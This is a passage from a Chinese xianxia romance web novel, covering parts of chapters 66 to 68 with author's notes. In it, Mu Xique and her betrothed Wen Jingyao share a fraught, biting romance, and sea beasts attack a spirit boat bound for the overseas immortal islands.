庄漪禾站定,她垂下眼眸,长睫盖住眼睑,闻惊遥站在不远处等她回答,过了约莫半刻钟,庄漪禾抬起头。 “我会寻个合适的时机告知她的,不管怎么样,得见一面。” 闻惊遥颔首,转身离开。 他回到小院里,将前些时日刚晒好的茶叶收起,这茶叶再长些时日便摘不到了,于是趁这些日子,他收集了不少,今日又集满了两瓶,顺路去买了两袋糖蒸板栗,装好后上了灵舟,朝淞溪慕家赶去。 和慕夕阙定亲后,朝蕴便给了他慕家玉符,可以无令直行淞溪地界,包括慕家主宅。 路上见到蔺九尘,两人点了个头并未交谈,知晓他是来见慕夕阙的,蔺九尘便不耽误他时间。 到慕夕阙的寝殿处,院门并未关严,闻惊遥站在门外看去,她披着单薄的寝衣站在台阶上,柳眉微拧,似乎不解他怎么又来了。 可他们已经七日未见了,这七日对慕二小姐来说没什么不同,对闻惊遥而言,他干什么都心不在焉,修炼也是如此。 “夕阙。”闻惊遥走进去,关上院门,将茶叶和板栗搁在院里的桌上。 慕夕阙没动,站在那里看着他。 闻惊遥道:“我来看看你,这些时日我在忙。” 慕夕阙并未说话,闻惊遥走过去,顺手搂住她的腰,俯身枕在她的颈窝,感受到她的体温和清香,他闭上眼,低声说:“七日没见,我很想你。” 闻少主变了很多,世人眼中如珪如璋、渊清玉絜的闻惊遥,变得直白热烈,变得不守规矩,他不再是那个冷漠无情的小古板和十三州圣尊。 慕夕阙笑了声,淡声道:“有多想啊,我看看。” 她从他的怀里仰起头,刚沐浴过,身上都是一股浅淡的香,一动那香气便扑鼻而去。 闻惊遥垂眸,捧住她的脸,覆上她的唇。 慕夕阙不躲不避,任他单手抱起她进了屋,将人放在靠窗的竹榻上,他俯身细细密密地吻她,而慕夕阙将他的唇咬出血。 闻惊遥没少被她咬,两人之间的亲密更像是他在索取,而她心情好时会施舍些柔情,这柔情也夹了利针,将他扎得浑身是血。 她这么对他,他却还是装作不在乎,任她给多少冷脸,仍愿意凑上去让她咬,让她抓,让她打。 慕夕阙感觉出了,闻惊遥确实很想她,每次隔几日见面,他的思念浓到能从每个犄角旮旯溢出来,一个眼神,一句问候,一个亲密的吻。 闻惊遥亲着亲着,忽然咬住她的耳根,小声问:“夕阙,你要去哪里?” 他* 看到了收拾好的包裹,明晃晃放着。 慕夕阙闷闷笑了几声:“去海外仙岛啊。” 闻惊遥抬起头,并未问她去干什么,而是看着她道:“为何不告诉我?” 慕夕阙冲他笑:“干什么要告诉你?” 她不信任他,又为何要告诉他这些? 闻惊遥垂眸,纤长浓密的睫毛垂下,遮住眼底的情绪,他还拢在她身前,宽阔的背脊将光影挡住。 慕夕阙懒洋洋看着他,某人似乎又伤心了,有时遇到闻惊遥,慕二小姐也会幼稚起来,他难过,她就开心。 过了会儿,闻惊遥坐起身,将她抱在身上,他枕着她的肩头,小声说:“你总有能用到我的地方,我可以帮你打架,照顾你的饮食起居,我和你一起去好吗?” “我说不可以,你就不去了?”慕夕阙笑了声。 闻惊遥沉默,片刻后开口:“在你还不想杀我的时候,不要离我太远,就让我多看你一段时间好吗?” “装模作样,那还问什么?”慕夕阙嗤了一声,从他身上起来,她拢起宽松的寝衣,摸了摸细长的脖颈,“闻少主,你亲人很疼,不知道吗?” 闻惊遥薄唇微抿,他们之间虽未到坦诚相见、亲密无间的地步,这些时日背着两家,暗地里却也发了不少疯。 他站起身,薄唇贴上她的脖颈,轻轻吻吻那些斑痕,小声说:“抱歉。” 他一与她亲密,就忍不住用力,想咬她,想啃噬她。 闻惊遥抱紧她,越搂越紧:“夕阙,我总忍不住。” 慕夕阙闷笑了声,忽然侧首咬住他的脖颈,她比他还要用力,闻惊遥动也不动,待她松口,渗血的牙印留在少年修长的颈项间,血沿着脖颈下滑,浸湿了衣领。 慕夕阙抬手擦去唇角的血:“我也忍不住,总想见你流血,看你因为情欲昏头昏脑的样子。” 闻惊遥安静看着她,他不发疯的时候像是朵披满霜雪的花,干净纯粹,骨子里那种自小养大的纯善总是会拉回他的一缕理智,让他克制一些,不至于犯下大错。 可压抑太久的情绪早已冲出关卡,令他有时像极了上一辈子的十三州圣尊,冷静冷漠,强大威严。 慕夕阙笑着道:“若是你这颗脑袋掉了,我会更开心。” 闻少主的血沾在慕二小姐的唇间,她的后腰抵着窗户,弯起红唇笑着看他,更像是在挑衅,故意惹他生气,可闻惊遥又怎么会生她的气? 他甚至在她这种时而温柔,时而冷情的折磨下,锻炼出了自己的硬骨头,分毫不惧地吻上她的唇,让她再一次将他咬出血。 有时他会想用力咬她,将她拆骨入腹,那是一闪而过的偏执和强势,却又会迅速被他甩开,心里告诫自己,他不能这么对她,他们之间占据这段感情高位的人是她。 喉骨在她的掌心下,他跳动的脉搏也被她掌控,这种感觉让闻惊遥将近十八年的人生中,尝到了鲜少有过的肆意和畅快。 慕夕阙抬起头,躲开他的追吻,她看着扫进屋内的月色,低头闷闷地笑:“闻惊遥,难受吗?” 闻惊遥没说话,他的额头抵着她的锁骨,安安静静。 慕夕阙却推开他站起身,她拢上寝衣,目光在他身上扫了一圈,笑意渐深:“你说若是前世的你在这里,看到自己这幅溺于情爱,连尊严和理智都能抛之脑后的模样,会怎么样呢?” 慕夕阙觉得那个闻惊遥应当会恨不得一剑捅死他们两个人,可她面对的是这一辈子的闻惊遥,如今最是喜欢她的闻惊遥。 他只会抱住她的腰,闭上眼,轻声说:“夕阙,我好喜欢你。” 慕夕阙的唇齿间还有他的血,她笑起来,明艳的五官越是笑便越是好看,只有他的血才能让她克制自己再忍忍,忍到利用他彻底扫清一切余孽,便是她向他雪恨的时候。 前世的她或许曾有过几分喜欢,青梅竹马一同长大,情窦初开的年纪遇上闻少主这样专情有耐心、善良且强大的人,很难不动心。 没有半分喜欢的话,她也不至于原谅当上圣尊的闻惊遥,不至于接受不了闻惊遥的背叛,用几年让自己认清现实。 可是那点尚未完全萌芽的喜欢,也全被他磨成了恨。 闻惊遥仰头看她: “我不走,我明日和你一起去海外仙岛,夕阙,你独身去,我不放心。” 慕夕阙能说什么呢? 腿长他身上,就算她不允,他一定会跟去- 慕夕阙当日便告知了朝蕴他们,她要去海外仙岛的消息,还要带上慕从晚,闻惊遥也传信回了闻家。 第二日天刚亮,朝蕴几人便早早起身,出来送行,纵使慕从晚不愿家人再为她的事情奔波,却仍是被朝蕴带了出来。 灵舟备好,师盈虚、越疏棠和迟笙从会客区赶来,朝蕴正在叮嘱她们注意安全,分发自己提前准备的灵丹仙药。 慕从晚头戴幕笠,身披披风,安静站在灵舟旁,看到远处慕夕阙和一个青衫少年共同走来。 她愣了下,闻惊遥竟也在这里,甚至还和慕夕阙……一同从西南侧走来。 西南侧,是慕夕阙的住处。 他们二人走来,慕从晚恍惚间瞥见闻惊遥脖颈上一道几乎快看不清的斑痕,应是用过药,已经快要看不清了,但她眼力过人,仍是能辨认出那似乎是个……咬痕。 慕夕阙并不知她在想什么,走过去抬手,将慕从晚的披风系紧,在她手里塞了个汤婆子。 “我知道你不想去,但总得试试,我们就试这最后一次。” 慕从晚眉心微蹙,终究还是未再倔,她颔首:“嗯,若真不行,你也别再勉强,不必再为我奔波。” “好。”慕夕阙弯起眼眸。 朝蕴一扭头,瞧见闻惊遥,眼眸顿时瞪大:“惊遥?你从哪里冒出来的?” 闻惊遥薄唇微抿,还未开口,被人截断了话。 慕夕阙淡声道:“哦,他清晨便来了。” 蔺九尘皱眉,他昨夜可是见了闻惊遥的,这一大早出现,怕是昨晚根本未走。 朝蕴:“那你们用膳——” 还未等她说完,慕夕阙便拉住慕从晚,率先朝灵舟走去:“不必了,赶时间。” 朝蕴匆匆走过去,将紧攥的玉坠交给慕夕阙:“还未碎,应还能用,你拿着,护好阿姐,但也要护好自己。” 她看着眼前的两个女儿,低声道:“你们不想引影杀和鹤阶注意,我便不派弟子跟着,只让阿尘和阿榆跟去,但你们若是有危险,一定要传信给我们。” “嗯,好。”慕夕阙握住她的手,“您放心,十二辰和天罡篆神力恢复不少,我和闻惊遥也已至化神境,不会有事的。” 她已经长大了,有她自己的计划,这些时日她的沉稳也让朝蕴放心不少,自是信任慕夕阙,敢去就一定有办法回来。 离别的话不至于多说,朝蕴站在山门,看着那艘灵舟腾飞,消失在云雾中,去往十三州边界。 十三州和海外仙岛都有海,不过海外仙岛由一座座岛屿组成,海水比陆地多得多,因此海外仙岛以捕鱼为生,而十三州陆地和山多,百姓多种庄稼。 十三州靠海的地方是一处小村庄,村里人不多,都姓陈。 那里有个特殊的码头,乘坐去海外仙岛的灵舟便在那里停靠。 余霞成绮,傍晚时,慕家灵舟落在了码头,闻惊遥、蔺九尘率先下舟,姜榆几人也跟着下去,慕夕阙抬手支着慕从晚,让她不至于踩空。 这是慕从晚第一次见海,她望着远处的海域,霞光落在上面,波光粼粼,好似闪着五彩碎金,远处可见有鱼跃出,渔船归航。 慕夕阙站在她旁边,对她道:“等你身子好些,我常带你来,海边的鱼虾最是新鲜,往往运到内地,便没有这般新鲜了。” 慕从晚浅笑颔首:“好。” 她这幅身子,也不知还能不能好,也早已习惯。 而远处,师盈虚暴怒:“你说什么?一个人三万金?” 灵舟上带着草帽的船夫道:“一人三万金,一分不少。” 师盈虚冷笑一声:“你还挺有职业操守呢,明明可以去抢,还要在这里支船做个生意。” 她这么阴阳怪气着,蔺九尘却已经掏出乾坤袋递过去。 “我们八人,二十四万金,都在这里。” 师盈虚别过头瞪他一眼:“我知道慕家不缺钱,那你跟他砍砍价啊,这明摆着漫天要价,三万金都可以买艘上品灵舟了!” 越疏棠迟疑道:“蔺公子,我们自己有钱。” 蔺九尘笑了声:“没必要算得这般清楚,快到上舟的时间了,咱们早些去,早些回来。” 这边在买票,闻惊遥却在另一侧码头的摊子上,递过去银两:“这些糕点都帮我装起来吧。” 此次出来并未带多少吃的,慕夕阙过去爱吃甜食,不知吃不吃得惯海边的糕点,闻惊遥只能每种口味都买了。 他将几大包糕点收进乾坤袋,回头走过去,见慕夕阙和慕从晚并肩站在海边,便未上前打扰,而是将灵舟也顺手收了起来。 当夜色降临,灵舟要启航,师盈虚气鼓鼓上了灵舟,蔺九尘几人跟在身后,闻惊遥也上去。 慕夕阙送慕从晚先上了舟,她垫底,走在最后。 船夫佝偻着脊背,走过来,将木梯收起,刚要转身却瞧见方才那位金衫姑娘并未离开,她站在他身后不远处,似乎在看他。 船夫笑呵呵,草帽遮住半张脸,说道:“姑娘,还有什么事吗?” 慕夕阙笑了下,声音温和:“只是觉得您有些眼熟,不知可否让我瞧瞧?” 船夫摆摆手:“老夫常年往返两边,都没去过内地城池,您怎么会眼熟?” “那或许是我认错了。”慕夕阙便不再坚持。 船夫从她身边走过,要去前方掌舵。 擦肩而过之际,慕夕阙侧眸看了眼他,草帽宽大的帽檐在脸上投下阴影,遮住了大半张脸,但露出的下颌以及耳根处一道拇指长的伤疤,却映入了眼底。 他走过去,慕夕阙仍站在甲板上。 她忽然觉得喉口梗塞,从未想过能在这里见到他,在她最落魄的时候,只有一个人终年穿过那片森寒之地,为她送上并不昂贵的糕点,陪她聊上一会儿。 他本该是个狱卒,为何会是个船夫? 作者有话说:猜对啦,那个船夫就是当年镇守云川的狱卒,他是为小慕才去云川的~ 第67章 第 67 章 海兽 “夕阙。” 身后有人在唤她。 慕夕阙闭了闭眼, 敛去眸底的异样。 灵舟在此刻腾飞,去往海外仙岛,舟上有两百多人, 偌大船舱内略有些吵,慕夕阙便未进去, 站在护栏旁。 闻惊遥走过来, 问道:“你与那名船夫认识?” “嗯。”慕夕阙应了声,却并未多说话。 她不多解释,闻惊遥也能猜出是上辈子认识的, 这一世慕夕阙从未来过沿海地区,又怎会见过一个常年在此掌舵的船夫呢? 闻惊遥安静站在她身侧,慕夕阙低垂眸子, 心里想着事。 在云川那十年, 这狱卒对她格外照顾, 能关在云川的人哪个不是穷凶极恶之徒, 唯独她去那里天寒有冬衣, 每日不仅有膳食,这狱卒老者还总自掏腰包买些糕点,时常陪她聊聊闲事, 谈谈十三州。 狱卒总说她救过他,可如果他一直在这里掌舵的话, 她何时救过他? 慕夕阙闭上眼, 抬手揉揉眉心。 “夕阙,你冷吗?”闻惊遥忽然问。 慕夕阙摇头:“无事, 不冷。” 如今灵舟还未驶出十三州区域,十三州的海与海外仙岛不同,海兽没那般多, 慕夕阙看着那片海。 她看了会儿,转身往船舱内走。 闻惊遥跟在她后面,随她一同弯腰进入船舱。 这船舱里人多,也无人注意他们。 慕从晚坐在靠窗的位置,幕笠已被摘下,蔺九尘和姜榆几人分散坐在她周围,为她撑起一片空旷的区域,让她不至于喘不上气。 “阿姐。”慕夕阙在她身前蹲下,握住她冰凉的手搓了搓,“你很冷吗,我给你的汤婆子不热了吗?” 慕从晚不知为何慕夕阙近来有些粘人,不止粘她,还粘朝蕴,但妹妹愿意亲近她,她自是心里高兴。 “不冷的,不必因我分心。”慕从晚抬手替她顺了顺被海风吹乱的头发,“你在外面做什么呢?” “吹了会儿风。”慕夕阙道。 她在慕从晚身旁坐下,一张木桌的对侧是越疏棠和迟笙,蔺九尘和姜榆坐在外围右侧,闻惊遥也坐了下来。 慕夕阙低声道:“既然海外仙岛如今不太平,待会儿驶过那片区域时候,还是小心为好。” 迟笙笑了下:“二小姐,你把那些海兽想得太过厉害了,它们只在海里活动,我们可飞在天上呢,这么多年来就没有海兽袭击过灵舟。” 慕夕阙颔首:“小心些自然为好。” 慕从晚低低咳嗽了几声,几人瞬间看过去。 蔺九尘皱眉:“是船舱内太闷了吗?” 慕从晚摇摇头:“别担心,可能风吹的。” 慕夕阙将窗户关上,为她又加了一件披风,周遭倒是有人看过来了,目光戏谑,跟一旁的人低声交谈,修士耳力过人,自然能听出这些人在蛐蛐他们,如今正是夏季,哪有穿得里三层外三层,还得裹着披风的人,瞧着像个病秧子。 姜榆狠狠瞪过去:“看什么看,没见过人啊?” 几个男子瞬间恼了,一拍桌子指着姜榆:“你这小丫头凶什么,信不信我割了你的舌——” 刚站起身,闻惊遥看过去,几双眼睛相对,这青衫少年明明年岁不大,却让几个体型魁梧的大汉莫名一怵。 蔺九尘也放下了茶杯,瓷瓶搁在桌上发出清脆的碰撞声,他看向他们:“你想割谁的舌头?” 几个人咬牙,又坐了回去,换了个地方。 慕从晚小声说:“此行低调为主,不要因为我吵架。” 慕夕阙替她系好披风带子:“他们不惹咱们,我们自是不找事,真遇到事了,你也别忍着。” 慕从晚抿了抿唇,没再说话。 灵舟穿过一片红光滔天的地方,有些胆大的探着脑袋去看。 “那便是祭墟?” “瞧着真吓人,前些时日慕二小姐和圣尊是怎么敢跳的?” “什么圣尊啊,鹤阶都成这样了,他们选出来的圣尊还能是圣尊吗,就是天罡篆之主,闻家少主罢了。” 交谈声嘈杂,慕夕阙这边无人探头去看,姜榆和迟笙正拽着慕从晚和蔺九尘打叶子牌,越疏棠双手环胸闭眼假寐,闻惊遥将一袋糕点递给慕夕阙。 “夕阙,吃些东西?” 慕夕阙低头看去:“在码头买的?” “嗯。”闻惊遥颔首。 慕夕阙捏了块,咬下一口。 闻惊遥问她:“味道如何?” “还行。” 当着蔺九尘他们的面,她多少还是会给几分薄面的,否则定是会让他们瞧出来不对劲。 闻惊遥安静下来,将糕点放在桌上,而他闭眼打坐。 前半夜分外太平,除了有些吵之外,并无其他事发生,因为慕从晚并无修为、身子也不好,熬不了一整晚,没多久便靠着慕夕阙的肩头睡着。 只剩他们几个修士还醒着。 天色渐亮,灵舟也早已穿过祭墟,到达海外仙岛的海域上空,一艘灵舟能容纳几百人,在这一眼望不到的海上,却犹如滴入池塘的一滴雨水般渺小。 姜榆悄悄推开了一丝窗户,透过一条缝隙,她看向薄光下的海外仙岛。 海面平静,瞧着安宁极了,远处还有几艘出海的渔船。 姜榆小声道:“看着也不像有海兽的样子啊,不是还有人出海吗?” 迟笙双手捧着下颌,接话道:“渔民是要生活的,要养家,这几个月正是鱼虾旺盛的季节,还能捕到昂贵的海产,少打一天的鱼,要少赚不少银两的。” 姜榆不解问道:“可是不怕海兽出没吗?” “怕也没办法呀,我们也不知道这些海兽为何醒得这般快,又何时能恢复过去的样子,难不成要一直等着?”迟笙看着窗外的海,小脸沉重,“没有办法的,大家都得生活。” 姜榆不再说话,隐隐约约能明白迟笙的意思了。 天已经快亮了,船夫在前头扬声喊道:“再有一刻钟,咱们就到海外仙岛了!” 船舱内有人席地睡觉,有人趴在桌上睡,有人仍清醒,他这么一吆喝,大家都醒了一半。 闭眼假寐的慕夕阙睁开了眼。 闻惊遥一夜未睡,虽闭目打坐,却时刻注意她的动作,听到一些声音,他睁开眼看着她:“夕阙,怎么了?” 慕夕阙没说话,她皱起眉,透过一条窗缝看着外头的海,海水呈深蓝色,原先平静的海面上像是有风拂过,掀起一圈圈波浪。 越疏棠在海边长大,自然一眼看出了不对劲,她立马趴在窗边仔细看,那一圈涟漪越来越大,海面上浮现一个个气泡,像是煮沸了的水一般。 “不对!” 越疏棠当即扯过迟笙,慕夕阙也一把将慕从晚护在怀里,他们听到破水而出的声音,几只巨兽从海底跃出,竟然能拖着笨重的身体腾飞至百丈高。 慕夕阙感受到强大的冲击力,有只海兽撞在他们这一侧的甲板上,船体倾斜,慕从晚往下滑去,那只海兽尖利的喙捅穿木板,甚至咬到了慕从晚的裙摆。 “阿姐!” 慕夕阙当即出手,一剑斩断慕从晚的衣裙,握住她的手腕借力将她甩出去,姜榆飞扑上前接住慕从晚,而慕夕阙却往下坠了几分。 蔺九尘赶忙扑来:“小夕!” 闻惊遥一剑插在甲板上固定身体,一手拽住慕夕阙的手,他用力将她拉起来,两人迅速站定,而朝东侧倾斜的船体却又晃向西侧,船舱上四处都是漏洞,不断有人滑下去跌进海里。 几人抬剑插进甲板,稳住身子不至于跌下去,姜榆拖着慕从晚有些使不上力,蔺九尘又滑过去帮忙,而慕夕阙在海里看到了个熟悉的脸。 那个船夫,已快要被海水淹没。 脑海里有什么一闪而过,慕夕阙忽然顿住,握剑的手悄无声息攥紧。 上一辈子到她死,只往返十三州和海外仙岛五次,她对掌舵的船夫没什么印象,前四次都一路太平,唯独第五次出了事。 灵舟穿过祭墟,驶向海外仙岛,在尚未落地之时,变故发生。 一只如山大的巨兽腾空而起,海里的巨兽像是被狂化了,竟然能跃到百丈高,一击将灵舟侧甲板撞得细碎,在空中摇摇晃晃飞着,掌舵的老者直接被甩到了海里。 海里盘旋了几只巨兽,几乎没有生存的可能性,无人敢去救,可也无人能驾驶这艘灵舟,它几乎快要散架。 是慕夕阙跳进了海里,在巨兽吞掉掌舵老者之前将他捞了起来,她因此被咬掉了一整块肩颈肉,在海外仙岛养了将近半年才长回来。 这些事过去太久了,她救过的人、经历过的事数不胜数,这点小事早就被自己忘却,可这明明多年后才会发生的事情,为何如今还会发生? 无论如何,这船夫于她有恩。 来不及多想,慕夕阙厉声道:“护好我阿姐。” 几人来不及反应,慕夕阙旋身站起,从方才被海兽撞出的巨洞里纵身跃下,金衫一闪而过,快到让闻惊遥都来不及抓住,只能感知到她顺滑的衣料从指缝中流走。 “小夕!” “师姐!” 蔺九尘下意识便要跟着往下跳,眼前青影一闪,有人快他一步,竟毫不犹豫跃下了灵舟。 灵舟又被一只巨兽撞击,朝另一侧翻去,姜榆一个没留神,慕从晚挣脱出去,蔺九尘赶忙抓住她稳住身形。 慕从晚抬眸看向那处破洞,她低声咳嗽,却还在喊:“小夕!小夕!” 谁都不知道慕夕阙看到谁了,为何要跳下去,可这附近都是海兽。 一头头巨兽盘旋在灵舟附近,试图撞击这艘灵舟。 掌舵老者呛了几口水,看到一只海兽张开巨口朝他奔来,他的瞳眸微缩,甚至能看清那只海兽狰狞的獠牙,实在丑陋。 可下一瞬,一人抓住了他的衣领,赶在海兽咬住他的前一刻将他拽起。 慕夕阙用力,将掌舵老者甩到舟上,越疏棠反应迅速,抓住又要往下掉的船夫,又有一个海兽跃上撞击灵舟,这艘灵舟的倾斜越发严重。 蔺九尘厉声道:“你去掌舵,我送你去!” 船夫呛了几口水,却也知道这不是犹豫的时候:“好!” 蔺九尘翻身站起,扯住船夫,用长刀插进甲板固定身形,走一段路便得重新插刀稳住身形。 而海域中,慕夕阙顺手捞起几个掉进海里尚还在挣扎扑腾的人,一个个甩上去,被越疏棠几人接住。 这里没有借力的地方,她侧身躲开一只庞大的海兽袭击,趁机踩上海兽的背脊,纵身便要往上跳。 海底的礁石后,一只隐藏在沙土中的海兽撤去掩护,逆冲向上,一瞬间朝她冲来,一只海兽如一座小岛般大,兽尾横扫,将海水化为利刃朝她席卷而来。 眼前青影闪过,有人拽住她的胳膊将她甩上去,慕夕阙到达甲板上后迅速回身,闻惊遥的左肩被海兽的獠牙划过,血瞬间染红了周围的血。 两只海兽朝他奔去,慕夕阙从乾坤袋取出条细长的披帛伸去,而闻惊遥迅速抓住披帛,她用力一扯,赶在巨兽冲来的前一刻将他拽上灵舟。 他刚站定,摇摇欲坠的灵舟已被重新掌控,船体外的禁制加强,瞬间拔空而上,那些海兽咬了个空,又重重跌进海里,溅起的海水血腥咸涩。 船体恢复平稳不再倾斜,船舱内的尖叫声却还未停止,有几人在掉进海里时便已被海兽袭击而死,剩下的人被蔺九尘和越疏棠他们想办法救了起来。 慕夕阙浑身湿透,慕从晚踉踉跄跄走过来:“小夕,你没事吧?” “无事。”慕夕阙摇摇头,看着她肩膀上一道血痕,“阿姐,你受伤了,是方才划到的吗?” “不碍事的。” 慕夕阙眉头紧皱,不等慕从晚推拒,便取出伤药和绷带替她处理伤口。 越疏棠几人也聚过来,蔺九尘正在为闻惊遥处理伤,两个化神境修士对付这些海兽并不困难,难得是一群皮糙肉厚的海兽围攻,个个如山大,还在水里,躲都来不及。 闻惊遥的肩膀被獠牙刺穿,挂出彻骨的伤,蔺九尘冷静熟练帮他上药。 少年看着慕夕阙的背影,她并未回头,在处理慕从晚的伤。 闻惊遥垂下眼,蔺九尘默不作声看了看他,余光又瞥向慕夕阙的背影,他的眉头皱了皱,终究还是没管他们的事,这种私事不该由外人插手。 越疏棠坐在窗边,面容冷淡:“不对劲,就算是饿极了,海兽也不会跳到这么高的,更何况灵舟上有禁制,它们竟能撞碎这些禁制。” 迟笙也道:“它们的速度比之前快了好多,以前这些大家伙最是笨重,可是方才我瞧,它们的速度竟能比得上慕二小姐和闻少主了。” 她停了一下,仔细回忆了方才的事情,又压低声音道:“而且这些海兽并非群居,往往独行,怎么会成群攻击?” 越疏棠握紧剑柄,望着远处还妄图追着灵舟的海兽群。 “这些海兽的习性大变,速度加快,穷追不舍,一只变化尚可猜测是巧合,一群都这般模样,定是有人弄喧捣鬼了。” 慕夕阙帮慕从晚处理好伤口,她还在咳嗽,方才撞了好几下,对他们这些修士不算什么,对慕从晚的身子骨来说却并非轻伤,怕是淤青不少。 “夕阙。”闻惊遥来到她身旁,唤了她一声。 慕夕阙抬眸看他,他身上的伤也被蔺九尘处理好,脸色并未有异常,她站起身,并未多问他的伤,直接道:“跟我过来。” 闻惊遥颔首,跟在她身后。 从船舱内走出去,护栏被撞碎不少,此刻甲板上没有旁人,只有他们两个。 慕夕阙道:“我想起来了,前世我第五次来海外仙岛之时,也碰上了类似的事,这些海兽异化攻击灵舟,那次后我并未再回过海外仙岛,也不知道这里后来都发生了什么。” “这些海兽不对劲,似乎受到刺激,变得极具攻击性,甚至连习性规律都改了,天已经亮了,灵舟只差一刻钟便能到岸,已经有渔船出海,这个时间不应该有醒着的海兽,它们畏惧日光,怎会在这时出现攻击灵舟?” 闻惊遥颔首:“是,从咱们进入这片海域,或许它们便盯上了。” 慕夕阙转身看他:“难道是有人故意操控它们攻击船体,为了杀害我们吗?” 闻惊遥摇头:“应当不是为了我们,此次出行我们走的小路,秘密行事,鹤阶应该没这般快便觉察出我们来了,且那些海兽不像是为了捕猎而攻击我们……” 方才被它们杀害的人,皆是被溺死的,这些海兽并未吞吃他们。 那更像是单纯的杀戮。 闻惊遥迟疑道:“夕阙,你说那个人向海外仙岛投了秽毒,这秽毒……” 慕夕阙别过头,沉声说:“从没有灵兽被秽毒侵袭的例子,它只侵染人修,上辈子我也没听说过这些。” 闻惊遥沉默,两人站在破损的甲板上,迎面吹来的风森寒,远处的日头已经露出,金灿灿的光洒在海面上,若不出意外,这是难得一见的美景。 可如今他们无心欣赏。 闻惊遥的眼睫半垂,看着护栏下的海,方才狂暴的海兽已经被甩在身后,他们马上便要落地海外仙岛。 “夕阙,如果秽毒能侵染灵兽,那么恐怕海外群岛要遭大难了。” 这片海至今无人知晓有多宽多深,海里有多少海兽,海外群岛共有一百一十七岛屿,两座最高的岛上住着两只玉灵,护佑海外群岛。 这些岛屿并未如十三州那般划分太多世家,例如淞溪慕家,东浔闻家,沅湘周家等等,整个海外仙岛的势力只分为三派。 人不多,修士也不多。 慕夕阙当然知晓。 从这里已经能看到海外仙岛的轮廓,一座座岛屿坐立在这片海域,灵舟会停在主岛边缘,若想去其他岛屿,便需要乘船,这么多岛屿慕夕阙也只记住几个去过的。 她闭上眼,在想当年影杀告知她的消息,梅枝雪出现在哪座岛来着? 时间太久了,那些岛的名字又太像,在百年的时间里她早已记不清这些事。 正想着,闻惊遥忽然道:“夕阙,到了。” 慕夕阙睁开眼,灵舟正在缓缓靠岸,远处高低错落的房舍井然有序,街上热闹,人头攒动,这座最大的岛屿像是十三州的一座大城,容纳了二十来万百姓,大多靠海生活。 船刚停岸,船上的人赶忙跑下去,生怕再多留一刻。 蔺九尘他们也已出来,在船头掌舵的船夫驼背走过来,看着慕夕阙。 慕夕阙道:“你们先走吧。” 闻惊遥知晓这是对他说的,他颔首:“嗯。” 待他离开,慕夕阙走向船夫,他那顶宽大的草帽早已掉进海里,如今露出满头灰白的发,以及皱纹密布的脸,他的年纪已颇大。 这张脸并不陌生,慕夕阙见了十年。 “多谢姑娘救命之恩。”船夫抬起手,对她行了个礼。 慕夕阙道:“不必言谢,我救您也有自己的私心,毕竟这船只有您会开。” 船夫笑了下,略显苦涩:“是啊,会开这船的只有我和我兄长,兄长已死,就只剩我了,不管怎样,姑娘救了我的命,我总得谢您。” 见慕夕阙并未说话,船夫叹了声,又道:“如今灵舟尚未修补好,我也不能返航,近些时日您几位也离不了岛了。” “船修好要多久?” “兴许一月,兴许半年,得看这些禁制能不能补好,不然咱们穿不过祭墟。” 慕夕阙心下一沉,要在这里待上半年的话,保不定十三州会出什么变故。 船夫道:“在下会尽力的,谢过姑娘了。” 他说着,再次拱手行礼,迈着略显蹒跚的步伐走开,进入掌舵的地方,* 直到慕夕阙看不到他的身影。 她最后看了眼,转身下了灵舟,闻惊遥他们便等在前头。 踩在沙滩上,松软的泥地没过鞋底,慕夕阙低头看去,还能瞧见被海水推上来的壳类,这些是海外仙岛的孩子们最爱捡的东西。 远处有人在哭,一群人围在码头,一位老妇瘫软在地,捶地哭嚎:“你好狠的心,丢下你八十的老母也就算了,你怎么不看看阿秀呢,她还怀着孩子啊!” 越疏棠走到她身边,低声说:“那是城南的一户渔民,当家的外出捕鱼未归,今日有渔船在海上发现了他飘起的尸身,泡水后肿得……几乎辨认不出面貌。” 但当娘的,能一眼认出孩子,知道他出门穿的什么衣裳。 慕夕阙没说话。 越疏棠又道:“慕二小姐,那些海兽不对劲,我怕……” 慕夕阙看过去,越疏棠柳眉紧皱,面容沉静,似乎不忍说出那句话。 于是慕夕阙主动开口:“你怕是鹤阶投入海外仙岛的秽毒导致那些海兽不对劲,攻击性加大,而你不知道海底有多少巨兽变成这样,你害怕它们会攻岛。” 越疏棠的眼眸微红,深吸一口气,声音抖了几分:“如果它们越来越凶残,我们便无法出去捕鱼,岛上生计便会断,如果异化的海兽越来越多,会不会有一日,这些岛屿变成了它们的盘中之餐?” 越疏棠低下头,握剑的手在抖,她颤抖着声音说道:“我们只有两只玉灵,这里能容纳它们身躯的高山没有那么多,祭墟出现之前,十三州的玉灵会帮忙庇佑海外仙岛,可如今祭墟阻隔了两边……” 她没办法说出那个可能性。 慕夕阙替她说:“然后玉灵便会出山,这么多海兽,两只玉灵为了护佑百姓,大概会同归于尽,荡平这片海域。” “那两只玉灵会死,会因为保护你们而死。” 作者有话说:船夫很重要的,后续还会有他的剧情的~ 第68章 第 68 章 出海 随泱今日从东浔闻家主宅出来, 已近日暮。 三月的修整让东浔主城焕然一新,修缮工作虽仍在继续,但已有不少外三城的百姓们陆续回城, 随泱去买了只烤鸡,走在街上, 不少人都认得他, 整日往返主城和城外的随前辈。 随安并未被他安置在桃花阁,闻家帮忙安置了新的宅院,就在主城内, 他推开院门,随安刚好从屋内奔出,一个没站稳, 在门槛处绊了一下, 面朝下摔在地上。 随泱闭目忍了瞬, 走过去拽起他的后衣领:“毛毛躁躁的干什么呢, 你的腿刚好, 又想折一次?” 随安被他拎着衣领也无暇顾及,一张脸通红,他举着手上的木盒:“兄长!我打开木盒了!” 随泱眸色微沉, 木盒上挂的那把锁确实已开。 “自从你说这木盒里的东西格外重要,我这几天便一直在捣鼓这个, 父亲之前告诉过我如何打开这把锁, 但我当时太小了也记不清他说的密数是什么,直到我今日睡醒, 我梦到父亲了,忽然便想起来了!” 随父死得突然,一次外出买菜, 到家后第二日便起不来榻了,肺腑重创,随泱当时不在身边,从随安发现随父出事,到随父咽气只有一刻钟时间,这段时间他撑着断断续续的气,交代了彼时才几岁的随安守好这木盒。 他说的密数,随安当时记住,可随泱匆忙到家后,扭头再问他,他哭得哽咽,也忘了个一干二净。 以至于他们知晓这木盒里是什么东西,却始终无法打开,这把锁不知什么材质,便是随泱一个化神境,用灵力也无法劈开。 随安今天打开了它。 随泱当即松开随安,夺过木盒朝屋内走去。 随安赶忙跟在身后,说道:“你没回来,我还没来得及看,当时不是将这木盒借给慕二小姐用了吗,我们只知道里面是什么东西,但不知道那上面都写了什么。” 随泱拉开木椅坐下,将木盒放在桌上。 